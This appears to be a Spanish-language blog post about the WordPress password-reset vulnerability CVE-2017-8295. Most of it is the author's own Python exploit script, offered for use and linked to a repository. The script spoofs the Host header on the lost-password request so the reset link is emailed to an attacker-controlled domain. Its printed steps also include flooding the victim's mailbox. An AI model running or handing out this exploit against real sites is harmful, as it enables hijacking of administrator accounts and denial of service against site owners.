0-day: WordPress < 4.7.4 - Unauthorized Password Reset Vulnerability
Hola
Después de varios días de inactividad, llegó esta noticia:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
Se trata de una vulnerabilidad 0-day en todas las veriones de Wordpress <= 4.7.4, que permite obtener el correo con el link para resetear la clave de un usuario, sin tener que estar autenticado.
Para probar desarrollé este código, espero les sirva.
#! /usr/bin/python
import httplib, urllib
import sys
print("""
Wordpress exploit CVE-2017-8295 v1.0 - www.incode.cl
1. Obtener nombre de usuario de wordpress y su email
2. Generar DoS en email del usuario
3. Crear tu correo '[email protected]'
Continuar con el exploit...
""")
url = raw_input("4. Ingresa la URL del Wordpress (ej: http://misitio.com) : ")
if len(url) > 5:
user = raw_input("5. Ingresa el nombre de usuario WP (ej: admin) : ")
if len(user) <= 1:
print ("Usuario invalido. Terminado.")
sys.exit()
#
dominio = raw_input("6. Ingresa el dominio de tu servidor de correo (ej: midominio.com) : ")
if len(dominio) > 4:
url2 = url + "/wp-login.php?action=lostpassword"
print("\nEnviando datos a: " + url2 + "\n")
values = {'user_login' : user, 'redirect_to' : '', 'wp-submit' : 'Get+New+Password'}
data = urllib.urlencode(values)
headers = { "Content-type": "application/x-www-form-urlencoded", "Content-Length" : str(len(data)), "Host": dominio}
host = url.replace("http://","").replace("https://","").replace("www.","") + ":80"
print ("\nConectando con host: " + host)
conn = httplib.HTTPConnection(host)
conn.request("POST", url2, data, headers)
resp = conn.getresponse()
print("\nHTTP Response: " + str(resp.status))
print("\nFinalizado\n")
else:
print("Dominio invalido. Terminado.")
else:
print("URL invalida. Terminado.")
Para quienes quieran aportar, les dejo el repositorio:
https://github.com/inc0d3/wordpress
Saludos

Comentarios
Publicar un comentario